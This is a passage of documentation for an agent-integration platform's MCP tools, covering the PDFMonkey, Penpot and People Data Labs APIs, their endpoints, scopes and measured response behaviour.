password-protected (set `password`; an encrypted file sent without it has also answered 500 'Failed to open file'), 442 damaged or wrong file type, 443 blocked by document permissions, 449/450 bad page range, 452 invalid URL. POST /api/v1/pdfco/v2/pdf/compress. Scopes: api. ================================================================================ ## PDFMonkey URL: https://www.agenticfabriq.com/integrations/pdfmonkey Section: Integrated Tools PDFMonkey — 14 MCP tools Provider key: pdfmonkey. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pdfmonkey_delete_document_templates_by_id (write, destructive) — Delete one template, via DELETE /document_templates/{id}. PERMANENT, and it is the wider of this provider's two deletes: the template is what every future generation depends on, so deleting it breaks every automation pointed at that id. Documents already generated SURVIVE -- measured, a document card still listed after its template was deleted -- but nothing new can be generated from it. It answers 204 with an EMPTY body, so confirm by asking for the template again (404 afterwards, measured) or by listing templates. DELETE /api/v1/pdfmonkey/document_templates/{id}. Scopes: api. pdfmonkey_delete_documents_by_id (write, destructive) — Delete one document and its generated file, via DELETE /documents/{id}. PERMANENT. PDFMonkey offers no recycle bin and no undo, and the generated file goes with the record. It answers 204 with an EMPTY body, so this reply says nothing about what happened -- confirm by asking for the document again ('Get a document' answers 404 afterwards, measured) or by listing documents and checking the id is gone. Deleting a document does not touch the template it came from. DELETE /api/v1/pdfmonkey/documents/{id}. Scopes: api. pdfmonkey_get_current_user (read) — Read the PDFMonkey account this connection authenticates as, via GET /current_user. Returns the account's name, company, e-mail, plan, trial end date and its remaining document and AI-generation quota -- `current_plan`, `available_documents` and `ai_generation_quota` are the fields worth reading before a bulk generation. THE `auth_token` FIELD IS REMOVED BEFORE YOU SEE IT, and that is this integration's doing rather than PDFMonkey's: measured 2026-09-23, PDFMonkey returns the account's own secret API key verbatim in `current_user.auth_token` -- the exact string this connection authenticates with -- so the connector replaces it with a marker. Nothing here can hand back the credential. This is also the connection's health check: it is the documented test call and the probe this provider declares. GET /api/v1/pdfmonkey/current_user. Scopes: api. pdfmonkey_get_document_cards (read) — List the account's documents as summary cards, via GET /document_cards. THIS IS THE LIST-DOCUMENTS TOOL, and its path is the reason the name says so. PDFMonkey serves no `GET /documents` at all -- that path exists only for the POST that creates one -- so a listing is always `/document_cards`. A card is the summary shape: id, status, `output_type`, `filename`, `download_url`, `preview_url`, `public_share_link`, `document_template_id` and its identifier, `created_at`/`updated_at` and `failure_cause`. It does NOT carry the `payload` or the `generation_logs`; read one document with 'Get a document' for those. Paged: the reply's `meta` gives `current_page`, `next_page`, `prev_page` and `total_pages`. Every filter is optional and they compose. GET /api/v1/pdfmonkey/document_cards. Scopes: api. pdfmonkey_get_document_cards_by_id (read) — Read one document's summary card, via GET /document_cards/{id}. The same shape 'List documents' returns, for a single id: status, `filename`, `download_url`, `preview_url`, `public_share_link` and the template it came from. Prefer this over 'Get a document' when all you need is whether generation finished and where the file is -- it omits the `payload`, which can be large. Use 'Get a document' when you need the payload, the metadata or the generation logs. GET /api/v1/pdfmonkey/document_cards/{id}. Scopes: api. pdfmonkey_get_document_template_cards (read) — List the account's templates as summary cards, via GET /document_template_cards. THIS IS THE LIST-TEMPLATES TOOL. As with documents, the listing lives on the `_cards` path; `/document_templates` serves only the POST that creates one. A card carries the template's id, `identifier`, `app_id`, `edition_mode`, `output_type`, engine name and deprecation date, its folder, `is_draft` and its timestamps -- not the body, the styles or the sample data, which 'Get a document template' returns. Paged through `meta`. `q[workspace_id]` IS OPTIONAL, which corrects the research ledger: it recorded the parameter as required, and measured 2026-09-23 the bare route answers 200 with every template in the account. GET /api/v1/pdfmonkey/document_template_cards. Scopes: api. pdfmonkey_get_document_templates_by_id (read) — Read one template in full, via GET /document_templates/{id}. Everything a template card carries, plus the parts that make it render: `body` and `body_draft`, `scss_style` and its draft, `sample_data` and its draft, `settings`, both engine ids, the `ttl` and a `preview_url`. PDFMonkey keeps a PUBLISHED and a DRAFT copy of the body, styles, sample data and engine; generation uses the published copy, so a change that only reaches `body_draft` changes no document. The `auth_token` on a template is stripped by this connector like every other field of that name -- measured, it is not an API credential (it answers 401 against `/current_user`), but nothing on this surface consumes it and a secret-shaped field is not worth returning to an agent to find out. GET /api/v1/pdfmonkey/document_templates/{id}. Scopes: api. pdfmonkey_get_documents_by_id (read) — Read one document in full, via GET /documents/{id}. The full record rather than the card: everything a card carries, plus the `payload` the document was rendered from, its `meta`, its `xml_data` and its `generation_logs`. `download_url` is null until `status` reaches `success`, and it is a PRESIGNED link that expires (measured: one hour), so fetch it promptly rather than storing it. A document PDFMonkey has deleted, or one belonging to another account, answers 404 with a body naming the id. GET /api/v1/pdfmonkey/documents/{id}. Scopes: api. pdfmonkey_get_pdf_engines (read) — List the rendering engines a template may be pinned to, via GET /pdf_engines. Each entry carries an `id`, a `name` (v2..v5), a numeric `version` and `deprecated_on`, which is null while the engine is still supported. The ids are what 'Create a document template' and 'Update a document template' take as `pdf_engine_id` and `pdf_engine_draft_id`; a template created without one gets the newest engine. NOT AT THE PATH THE RESEARCH LEDGER RECORDED: the ledger said `GET /engines`, which answers 404 with PDFMonkey's HTML error page -- identical to an invented route, and identical with a valid key, a bogus key and no key at all, so it is routing rather than permission (all measured 2026-09-23). `GET /pdf_engines` is the route that exists and is what this tool calls. GET /api/v1/pdfmonkey/pdf_engines. Scopes: api. pdfmonkey_post_document_templates (write) — Create a template in a workspace, via POST /document_templates. `app_id` and `identifier` are both required; omitting the identifier answers 422 `{"errors":{"identifier":["can't be blank"]}}`. `app_id` is the WORKSPACE id, which is the same value `q[workspace_id]` takes on the listings and `app_id` on every document. The body is HTML with Liquid tags, and `sample_data` is a JSON STRING rather than an object. A template created without `pdf_engine_id` gets the newest engine (measured: v5) and a `ttl` of 86400 seconds. The 201 body carries the created template, including the id 'Create a document' needs. POST /api/v1/pdfmonkey/document_templates. Scopes: api. pdfmonkey_post_documents (write) — Create a document from a template and optionally start generating it, via POST /documents. ASYNCHRONOUS. It answers 201 as soon as the document is stored, with `status` `draft` or `pending` and `download_url` still null; the file appears later. Poll 'Get a document summary card' until `status` is `success` (then `download_url` is set) or `failure` (then `failure_cause` says why). Send `status: "pending"` to start generation on creation; the default `draft` stores it without rendering, which is how you stage a document and generate it later with 'Update a document'. Use 'Generate a document and wait' instead when you want the finished file in one call. `payload` must be a JSON OBJECT, not an array. An unknown `document_template_id` answers 422 `{"errors":{"document_template_id":["The specified template does not exist."]}}` rather than 404. POST /api/v1/pdfmonkey/documents. Scopes: api. pdfmonkey_post_documents_sync (write) — Generate a document and wait for rendering to finish, via POST /documents/sync. SYNCHRONOUS: the call blocks until the file exists, then answers 200 with the finished document -- no polling. Use it when a caller needs the PDF now; use 'Create a document' when the wait is not worth holding a request open, or when you want a draft. THE REPLY IS A CARD, and the key says so: measured 2026-09-23 the body is `{"document_card": {...}}`, not `{"document": ...}` -- so read `document_card.download_url`, and read `payload`/`generation_logs` with 'Get a document' if you need them. `status` must be `pending`: a sync call is a request to render, and `draft` has nothing to wait for. `download_url` is a presigned link that expires in an hour (measured), so download rather than store it. POST /api/v1/pdfmonkey/documents/sync. Scopes: api. pdfmonkey_put_document_templates_by_id (write) — Change a template's content or settings, via PUT /document_templates/{id}. Send only the fields to change; the ones omitted are left alone (measured: renaming a template and setting its `ttl` left its body, styles and sample data untouched). Editing `body` changes what EVERY later generation from this template produces, and documents already generated keep the file they were rendered with. Write to the `_draft` fields to stage a change without affecting generation. Not marked destructive -- nothing is deleted -- but it is the broadest write on this surface. PUT /api/v1/pdfmonkey/document_templates/{id}. Scopes: api. pdfmonkey_put_documents_by_id (write) — Change a document's data, metadata or status, via PUT /documents/{id}. REPLACES the fields it is given: a `payload` or `meta` sent here overwrites the stored value rather than merging into it, so send the whole object. Its main use is starting generation on a stored draft -- `{"document": {"status": "pending"}}`, measured to move a draft to `success` -- which is why it is not marked destructive even though a careless `payload` can lose data: the document survives, its content does not. Regenerating replaces the previously generated file. PUT /api/v1/pdfmonkey/documents/{id}. Scopes: api. ================================================================================ ## Penpot URL: https://www.agenticfabriq.com/integrations/penpot Section: Integrated Tools Penpot — 121 MCP tools Provider key: penpot. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. penpot_post_add_team_to_organization (write) — Add team to organization via POST /api/main/methods/add-team-to-organization POST /api/v1/penpot/add-team-to-organization. Scopes: api. penpot_post_all_org_members_in_team (read) — All org members in team via POST /api/main/methods/all-org-members-in-team POST /api/v1/penpot/all-org-members-in-team. Scopes: api. penpot_post_all_team_members_in_orgs (read) — All team members in orgs via POST /api/main/methods/all-team-members-in-orgs POST /api/v1/penpot/all-team-members-in-orgs. Scopes: api. penpot_post_check_nitrate_sso (read) — Check if a user needs to login into the organization SSO. Returns {:authorized true} when SSO is not active for the team. Returns {:authorized false :redirect-uri <url>} when SSO is active; the client must redirect there. The OIDC provider itself handles re-authentication transparently if the user already has an active SSO session. via POST /api/main/methods/check-nitrate-sso POST /api/v1/penpot/check-nitrate-sso. Scopes: api. penpot_post_check_org_members (read) — Check org members via POST /api/main/methods/check-org-members POST /api/v1/penpot/check-org-members. Scopes: api. penpot_post_check_team_external_invitations (read) — Check team external invitations via POST /api/main/methods/check-team-external-invitations POST /api/v1/penpot/check-team-external-invitations. Scopes: api. penpot_post_clone_file_media_object (write) — Clone file media object via POST /api/main/methods/clone-file-media-object POST /api/v1/penpot/clone-file-media-object. Scopes: api. penpot_post_clone_template (write) — Clone into the specified project the template by its id. via POST /api/main/methods/clone-template POST /api/v1/penpot/clone-template. Scopes: api. penpot_post_create_comment (write) — Create comment via POST /api/main/methods/create-comment POST /api/v1/penpot/create-comment. Scopes: api. penpot_post_create_comment_thread (write) — Create comment thread via POST /api/main/methods/create-comment-thread POST /api/v1/penpot/create-comment-thread. Scopes: api. penpot_post_create_file (write) — Create file via POST /api/main/methods/create-file POST /api/v1/penpot/create-file. Scopes: api. penpot_post_create_file_media_object_from_url (write) — Create file media object from url via POST /api/main/methods/create-file-media-object-from-url POST /api/v1/penpot/create-file-media-object-from-url. Scopes: api. penpot_post_create_file_snapshot (write) — Create file snapshot via POST /api/main/methods/create-file-snapshot POST /api/v1/penpot/create-file-snapshot. Scopes: api. penpot_post_create_font_variant (write) — Upload a font variant. Font data may be provided either as a Transit-encoded `:data` map (keyed by mime-type) for small fonts, or as an `:uploads` map (keyed by mime-type, values are upload-session UUIDs from the chunked-upload API) for large fonts. Exactly one of the two must be present. via POST /api/main/methods/create-font-variant POST /api/v1/penpot/create-font-variant. Scopes: api. penpot_post_create_project (write) — Create project via POST /api/main/methods/create-project POST /api/v1/penpot/create-project. Scopes: api. penpot_post_create_share_link (write) — Creates a share-link object. Share links are resources that allows external users access to specific pages of a file with specific permissions (who-comment and who-inspect). via POST /api/main/methods/create-share-link POST /api/v1/penpot/create-share-link. Scopes: api. penpot_post_create_team (write) — Create team via POST /api/main/methods/create-team POST /api/v1/penpot/create-team. Scopes: api. penpot_post_create_team_access_request (write) — A rpc call that allow to request for an invitations to join the team. via POST /api/main/methods/create-team-access-request POST /api/v1/penpot/create-team-access-request. Scopes: api. penpot_post_create_team_invitations (write) — A rpc call that allows to send single or multiple invitations to join the team. Supports two parameter formats: 1. emails (set) + role (single role for all emails) 2. invitations (vector of {:email :role} maps for individual roles) via POST /api/main/methods/create-team-invitations POST /api/v1/penpot/create-team-invitations. Scopes: api. penpot_post_create_team_with_invitations (write) — Create team with invitations via POST /api/main/methods/create-team-with-invitations POST /api/v1/penpot/create-team-with-invitations. Scopes: api. penpot_post_create_webhook (write) — Create webhook via POST /api/main/methods/create-webhook POST /api/v1/penpot/create-webhook. Scopes: api. penpot_post_delete_comment (write, destructive) — Delete comment via POST /api/main/methods/delete-comment POST /api/v1/penpot/delete-comment. Scopes: api. penpot_post_delete_comment_thread (write, destructive) — Delete comment thread via POST /api/main/methods/delete-comment-thread POST /api/v1/penpot/delete-comment-thread. Scopes: api. penpot_post_delete_file (write, destructive) — Delete file via POST /api/main/methods/delete-file POST /api/v1/penpot/delete-file. Scopes: api. penpot_post_delete_file_object_thumbnail (write, destructive) — Delete file object thumbnail via POST /api/main/methods/delete-file-object-thumbnail POST /api/v1/penpot/delete-file-object-thumbnail. Scopes: api. penpot_post_delete_file_object_thumbnails (write, destructive) — Delete file object thumbnails via POST /api/main/methods/delete-file-object-thumbnails POST /api/v1/penpot/delete-file-object-thumbnails. Scopes: api. penpot_post_delete_file_snapshot (write, destructive) — Delete file snapshot via POST /api/main/methods/delete-file-snapshot POST /api/v1/penpot/delete-file-snapshot. Scopes: api. penpot_post_delete_font (write, destructive) — Delete font via POST /api/main/methods/delete-font POST /api/v1/penpot/delete-font. Scopes: api. penpot_post_delete_font_variant (write, destructive) — Delete font variant via POST /api/main/methods/delete-font-variant POST /api/v1/penpot/delete-font-variant. Scopes: api. penpot_post_delete_profile_photo (write, destructive) — Delete profile photo via POST /api/main/methods/delete-profile-photo POST /api/v1/penpot/delete-profile-photo. Scopes: api. penpot_post_delete_project (write, destructive) — Delete project via POST /api/main/methods/delete-project POST /api/v1/penpot/delete-project. Scopes: api. penpot_post_delete_share_link (write, destructive) — Delete share link via POST /api/main/methods/delete-share-link POST /api/v1/penpot/delete-share-link. Scopes: api. penpot_post_delete_team (write, destructive) — Delete team via POST /api/main/methods/delete-team POST /api/v1/penpot/delete-team. Scopes: api. penpot_post_delete_team_invitation (write, destructive) — Delete team invitation via POST /api/main/methods/delete-team-invitation POST /api/v1/penpot/delete-team-invitation. Scopes: api. penpot_post_delete_team_member (write, destructive) — Delete team member via POST /api/main/methods/delete-team-member POST /api/v1/penpot/delete-team-member. Scopes: api. penpot_post_delete_webhook (write, destructive) — Delete webhook via POST /api/main/methods/delete-webhook POST /api/v1/penpot/delete-webhook. Scopes: api. penpot_post_duplicate_file (write) — Duplicate a single file in the same team. via POST /api/main/methods/duplicate-file POST /api/v1/penpot/duplicate-file. Scopes: api. penpot_post_duplicate_project (write) — Duplicate an entire project with all the files via POST /api/main/methods/duplicate-project POST /api/v1/penpot/duplicate-project. Scopes: api. penpot_post_get_all_projects (read) — Get all projects via POST /api/main/methods/get-all-projects POST /api/v1/penpot/get-all-projects. Scopes: api. penpot_post_get_comment_thread (read) — Get comment thread via POST /api/main/methods/get-comment-thread POST /api/v1/penpot/get-comment-thread. Scopes: api. penpot_post_get_comment_threads (read) — Get comment threads via POST /api/main/methods/get-comment-threads POST /api/v1/penpot/get-comment-threads. Scopes: api. penpot_post_get_comments (read) — Get comments via POST /api/main/methods/get-comments POST /api/v1/penpot/get-comments. Scopes: api. penpot_post_get_error_report (read) — Get error report via POST /api/main/methods/get-error-report POST /api/v1/penpot/get-error-report. Scopes: api. penpot_post_get_error_reports (read) — Get error reports via POST /api/main/methods/get-error-reports POST /api/v1/penpot/get-error-reports. Scopes: api. penpot_post_get_file (read) — Retrieve a file by its ID. Only authenticated users. via POST /api/main/methods/get-file POST /api/v1/penpot/get-file. Scopes: api. penpot_post_get_file_data_for_thumbnail (read) — Retrieves the data for generate the thumbnail of the file. Used mainly for render thumbnails on dashboard. via POST /api/main/methods/get-file-data-for-thumbnail POST /api/v1/penpot/get-file-data-for-thumbnail. Scopes: api. penpot_post_get_file_fragment (read) — Retrieve a file fragment by its ID. Only authenticated users. via POST /api/main/methods/get-file-fragment POST /api/v1/penpot/get-file-fragment. Scopes: api. penpot_post_get_file_info (read) — Retrieve minimal file info by its ID. via POST /api/main/methods/get-file-info POST /api/v1/penpot/get-file-info. Scopes: api. penpot_post_get_file_libraries (read) — Get libraries used by the specified file. via POST /api/main/methods/get-file-libraries POST /api/v1/penpot/get-file-libraries. Scopes: api. penpot_post_get_file_object_thumbnails (read) — Retrieve a file object thumbnails. via POST /api/main/methods/get-file-object-thumbnails POST /api/v1/penpot/get-file-object-thumbnails. Scopes: api. penpot_post_get_file_snapshot (read) — Retrieve a file bundle with data from a specific snapshot for read-only preview. Does not modify any database state. via POST /api/main/methods/get-file-snapshot POST /api/v1/penpot/get-file-snapshot. Scopes: api. penpot_post_get_file_snapshots (read) — Get file snapshots via POST /api/main/methods/get-file-snapshots POST /api/v1/penpot/get-file-snapshots. Scopes: api. penpot_post_get_file_stats (read) — Return aggregate statistics for a single file: page count, shape counts by type, component/color/typography counts, and inbound and outbound library reference counts. Cheap alternative to `get-file` when only metrics are needed. via POST /api/main/methods/get-file-stats POST /api/v1/penpot/get-file-stats. Scopes: api. penpot_post_get_file_summary (read) — Retrieve a file summary by its ID. Only authenticated users. via POST /api/main/methods/get-file-summary POST /api/v1/penpot/get-file-summary. Scopes: api. penpot_post_get_font_variants (read) — Get font variants via POST /api/main/methods/get-font-variants POST /api/v1/penpot/get-font-variants. Scopes: api. penpot_post_get_leave_org_summary (read) — Get leave org summary via POST /api/main/methods/get-leave-org-summary POST /api/v1/penpot/get-leave-org-summary. Scopes: api. penpot_post_get_library_file_references (read) — Returns all the file references that use specified file (library) id. via POST /api/main/methods/get-library-file-references POST /api/v1/penpot/get-library-file-references. Scopes: api. penpot_post_get_library_usage (read) — Gets the number of files that use the specified library. via POST /api/main/methods/get-library-usage POST /api/v1/penpot/get-library-usage. Scopes: api. penpot_post_get_nitrate_connectivity (read) — Get nitrate connectivity via POST /api/main/methods/get-nitrate-connectivity POST /api/v1/penpot/get-nitrate-connectivity. Scopes: api. penpot_post_get_owned_teams (read) — Get owned teams via POST /api/main/methods/get-owned-teams POST /api/v1/penpot/get-owned-teams. Scopes: api. penpot_post_get_page (read) — Retrieves the page data from file and returns it. If no page-id is specified, the first page will be returned. If object-id is specified, only that object and its children will be returned in the page objects data structure. If you specify the object-id, the page-id parameter becomes mandatory. Mainly used for rendering purposes on the exporter. It does not accepts client features. via POST /api/main/methods/get-page POST /api/v1/penpot/get-page. Scopes: api. penpot_post_get_profile (read) — Get profile via POST /api/main/methods/get-profile POST /api/v1/penpot/get-profile. Scopes: api. penpot_post_get_profiles_for_file_comments (read) — Retrieves a list of profiles with limited set of properties of all participants on comment threads of the file. via POST /api/main/methods/get-profiles-for-file-comments POST /api/v1/penpot/get-profiles-for-file-comments. Scopes: api. penpot_post_get_project (read) — Get project via POST /api/main/methods/get-project POST /api/v1/penpot/get-project. Scopes: api. penpot_post_get_project_files (read) — Get all files for the specified project. via POST /api/main/methods/get-project-files POST /api/v1/penpot/get-project-files. Scopes: api. penpot_post_get_projects (read) — Get projects via POST /api/main/methods/get-projects POST /api/v1/penpot/get-projects. Scopes: api. penpot_post_get_sso_provider (read) — Get sso provider via POST /api/main/methods/get-sso-provider POST /api/v1/penpot/get-sso-provider. Scopes: api. penpot_post_get_subscription_warning (read) — Get subscription warning via POST /api/main/methods/get-subscription-warning POST /api/v1/penpot/get-subscription-warning. Scopes: api. penpot_post_get_team (read) — Get team via POST /api/main/methods/get-team POST /api/v1/penpot/get-team. Scopes: api. penpot_post_get_team_deleted_files (read) — Get team deleted files via POST /api/main/methods/get-team-deleted-files POST /api/v1/penpot/get-team-deleted-files. Scopes: api. penpot_post_get_team_info (read) — Retrieve minimal team info by its ID. via POST /api/main/methods/get-team-info POST /api/v1/penpot/get-team-info. Scopes: api. penpot_post_get_team_invitation_token (read) — Get team invitation token via POST /api/main/methods/get-team-invitation-token POST /api/v1/penpot/get-team-invitation-token. Scopes: api. penpot_post_get_team_invitations (read) — Get team invitations via POST /api/main/methods/get-team-invitations POST /api/v1/penpot/get-team-invitations. Scopes: api. penpot_post_get_team_members (read) — Get team members via POST /api/main/methods/get-team-members POST /api/v1/penpot/get-team-members. Scopes: api. penpot_post_get_team_recent_files (read) — Get team recent files via POST /api/main/methods/get-team-recent-files POST /api/v1/penpot/get-team-recent-files. Scopes: api. penpot_post_get_team_shared_files (read) — Get all file (libraries) for the specified team. via POST /api/main/methods/get-team-shared-files POST /api/v1/penpot/get-team-shared-files. Scopes: api. penpot_post_get_team_stats (read) — Get team stats via POST /api/main/methods/get-team-stats POST /api/v1/penpot/get-team-stats. Scopes: api. penpot_post_get_team_users (read) — Get team users by team-id or by file-id via POST /api/main/methods/get-team-users POST /api/v1/penpot/get-team-users. Scopes: api. penpot_post_get_teams (read) — Get teams via POST /api/main/methods/get-teams POST /api/v1/penpot/get-teams. Scopes: api. penpot_post_get_unread_comment_threads (read) — Get unread comment threads via POST /api/main/methods/get-unread-comment-threads POST /api/v1/penpot/get-unread-comment-threads. Scopes: api. penpot_post_get_view_only_bundle (read) — Get view only bundle via POST /api/main/methods/get-view-only-bundle POST /api/v1/penpot/get-view-only-bundle. Scopes: api. penpot_post_get_webhooks (read) — Get webhooks via POST /api/main/methods/get-webhooks POST /api/v1/penpot/get-webhooks. Scopes: api. penpot_post_has_file_libraries (read) — Checks if the file has libraries. Returns a boolean via POST /api/main/methods/has-file-libraries POST /api/v1/penpot/has-file-libraries. Scopes: api. penpot_post_ignore_file_library_sync_status (write) — Ignore updates in linked files via POST /api/main/methods/ignore-file-library-sync-status POST /api/v1/penpot/ignore-file-library-sync-status. Scopes: api. penpot_post_leave_org (write) — Leave org via POST /api/main/methods/leave-org POST /api/v1/penpot/leave-org. Scopes: api. penpot_post_leave_team (write) — Leave team via POST /api/main/methods/leave-team POST /api/v1/penpot/leave-team. Scopes: api. penpot_post_link_file_to_library (write) — Link a file to a library. Returns the recursive list of libraries used by that library via POST /api/main/methods/link-file-to-library POST /api/v1/penpot/link-file-to-library. Scopes: api. penpot_post_lock_file_snapshot (write) — Lock file snapshot via POST /api/main/methods/lock-file-snapshot POST /api/v1/penpot/lock-file-snapshot. Scopes: api. penpot_post_mark_all_threads_as_read (write) — Mark all threads as read via POST /api/main/methods/mark-all-threads-as-read POST /api/v1/penpot/mark-all-threads-as-read. Scopes: api. penpot_post_move_files (write) — Move a set of files from one project to other. via POST /api/main/methods/move-files POST /api/v1/penpot/move-files. Scopes: api. penpot_post_move_project (write) — Move projects between teams via POST /api/main/methods/move-project POST /api/v1/penpot/move-project. Scopes: api. penpot_post_permanently_delete_team_files (write, destructive) — Mark the specified files to be deleted immediatelly on the specified team. The team-id on params will be used to filter and check writable permissons on team. via POST /api/main/methods/permanently-delete-team-files POST /api/v1/penpot/permanently-delete-team-files. Scopes: api. penpot_post_push_audit_events (write) — Push audit events via POST /api/main/methods/push-audit-events POST /api/v1/penpot/push-audit-events. Scopes: api. penpot_post_redeem_nitrate_activation_code (write) — Redeem nitrate activation code via POST /api/main/methods/redeem-nitrate-activation-code POST /api/v1/penpot/redeem-nitrate-activation-code. Scopes: api. penpot_post_remove_team_from_org (write, destructive) — Remove team from org via POST /api/main/methods/remove-team-from-org POST /api/v1/penpot/remove-team-from-org. Scopes: api. penpot_post_rename_file (write) — Rename file via POST /api/main/methods/rename-file POST /api/v1/penpot/rename-file. Scopes: api. penpot_post_rename_project (write) — Rename project via POST /api/main/methods/rename-project POST /api/v1/penpot/rename-project. Scopes: api. penpot_post_restore_deleted_team_files (write) — Removes the deletion mark from the specified files (and respective projects) on the specified team. via POST /api/main/methods/restore-deleted-team-files POST /api/v1/penpot/restore-deleted-team-files. Scopes: api. penpot_post_restore_file_snapshot (write) — Restore file snapshot via POST /api/main/methods/restore-file-snapshot POST /api/v1/penpot/restore-file-snapshot. Scopes: api. penpot_post_search_files (read) — Search files via POST /api/main/methods/search-files POST /api/v1/penpot/search-files. Scopes: api. penpot_post_send_user_feedback (write) — Send user feedback via POST /api/main/methods/send-user-feedback POST /api/v1/penpot/send-user-feedback. Scopes: api. penpot_post_set_file_shared (write) — Set file shared via POST /api/main/methods/set-file-shared POST /api/v1/penpot/set-file-shared. Scopes: api. penpot_post_unlink_file_from_library (write) — Unlink file from library via POST /api/main/methods/unlink-file-from-library POST /api/v1/penpot/unlink-file-from-library. Scopes: api. penpot_post_unlock_file_snapshot (write) — Unlock file snapshot via POST /api/main/methods/unlock-file-snapshot POST /api/v1/penpot/unlock-file-snapshot. Scopes: api. penpot_post_update_comment (write) — Update comment via POST /api/main/methods/update-comment POST /api/v1/penpot/update-comment. Scopes: api. penpot_post_update_comment_thread (write) — Update comment thread via POST /api/main/methods/update-comment-thread POST /api/v1/penpot/update-comment-thread. Scopes: api. penpot_post_update_comment_thread_frame (write) — Update comment thread frame via POST /api/main/methods/update-comment-thread-frame POST /api/v1/penpot/update-comment-thread-frame. Scopes: api. penpot_post_update_comment_thread_position (write) — Update comment thread position via POST /api/main/methods/update-comment-thread-position POST /api/v1/penpot/update-comment-thread-position. Scopes: api. penpot_post_update_comment_thread_status (write) — Update comment thread status via POST /api/main/methods/update-comment-thread-status POST /api/v1/penpot/update-comment-thread-status. Scopes: api. penpot_post_update_file (write) — Update file via POST /api/main/methods/update-file The `changes` / `changesWithMetadata` schemas are deliberately opaque here: each entry is one operation of Penpot's own file-change vocabulary, whose full union lives in Penpot's OpenAPI document rather than in this tool listing. POST /api/v1/penpot/update-file. Scopes: api. penpot_post_update_file_library_sync_status (write) — Update the synchronization status of a file->library link via POST /api/main/methods/update-file-library-sync-status POST /api/v1/penpot/update-file-library-sync-status. Scopes: api. penpot_post_update_file_snapshot (write) — Update file snapshot via POST /api/main/methods/update-file-snapshot POST /api/v1/penpot/update-file-snapshot. Scopes: api. penpot_post_update_font (write) — Update font via POST /api/main/methods/update-font POST /api/v1/penpot/update-font. Scopes: api. penpot_post_update_profile (write) — Update profile via POST /api/main/methods/update-profile POST /api/v1/penpot/update-profile. Scopes: api. penpot_post_update_profile_notifications (write) — Update profile notifications via POST /api/main/methods/update-profile-notifications POST /api/v1/penpot/update-profile-notifications. Scopes: api. penpot_post_update_profile_props (write) — Update profile props via POST /api/main/methods/update-profile-props POST /api/v1/penpot/update-profile-props. Scopes: api. penpot_post_update_project_pin (write) — Update project pin via POST /api/main/methods/update-project-pin POST /api/v1/penpot/update-project-pin. Scopes: api. penpot_post_update_team (write) — Update team via POST /api/main/methods/update-team POST /api/v1/penpot/update-team. Scopes: api. penpot_post_update_team_invitation_role (write) — Update team invitation role via POST /api/main/methods/update-team-invitation-role POST /api/v1/penpot/update-team-invitation-role. Scopes: api. penpot_post_update_team_member_role (write) — Update team member role via POST /api/main/methods/update-team-member-role POST /api/v1/penpot/update-team-member-role. Scopes: api. penpot_post_update_webhook (write) — Update webhook via POST /api/main/methods/update-webhook POST /api/v1/penpot/update-webhook. Scopes: api. ================================================================================ ## People Data Labs URL: https://www.agenticfabriq.com/integrations/peopledatalabs Section: Integrated Tools People Data Labs — 22 MCP tools Provider key: peopledatalabs. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. peopledatalabs_get_v5_autocomplete (read) — Autocomplete a field value via GET /v5/autocomplete. Suggests valid values for a field, for building a query. The same question can be asked with a JSON body by `peopledatalabs_post_v5_autocomplete`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/autocomplete. Scopes: api. peopledatalabs_get_v5_company_clean (read) — Clean and standardise a company name via GET /v5/company/clean. Normalises a messy input string to PDL's canonical form. The same question can be asked with a JSON body by `peopledatalabs_post_v5_company_clean`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/company/clean. Scopes: api. peopledatalabs_get_v5_company_enrich (read) — Enrich a company record via GET /v5/company/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. The same question can be asked with a JSON body by `peopledatalabs_post_v5_company_enrich`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/company/enrich. Scopes: api. peopledatalabs_get_v5_company_search (read) — Search companies via GET /v5/company/search. Returns many records for a query. GET takes SQL or an Elasticsearch query string; the POST form takes the same query as a structured body and is the one to use for anything a URL cannot carry. Supply EXACTLY ONE of `query` (an Elasticsearch 7.7 query, as a JSON string) or `sql` (`SELECT * FROM person|company WHERE ...`); sending both, or neither, is a 400 from People Data Labs naming which. The same question can be asked with a JSON body by `peopledatalabs_post_v5_company_search`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/company/search. Scopes: api. peopledatalabs_get_v5_ip_enrich (read) — Enrich an IP address via GET /v5/ip/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. A 400 here can be DATA rather than an error: an address People Data Labs classifies as infrastructure answers 400 {"error":"Cannot Enrich IP","message":"IP is a Hosting Provider, Proxy, Tor, Relay, or Service"} (measured 2026-09-18 on 8.8.8.8, while 24.5.68.1 answered 200 with a company and a location). GET /api/v1/peopledatalabs/v5/ip/enrich. Scopes: api. peopledatalabs_get_v5_job_title_enrich (read) — Enrich a job title via GET /v5/job_title/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. The same question can be asked with a JSON body by `peopledatalabs_post_v5_job_title_enrich`; reach for that one when a value would not survive a URL. GET 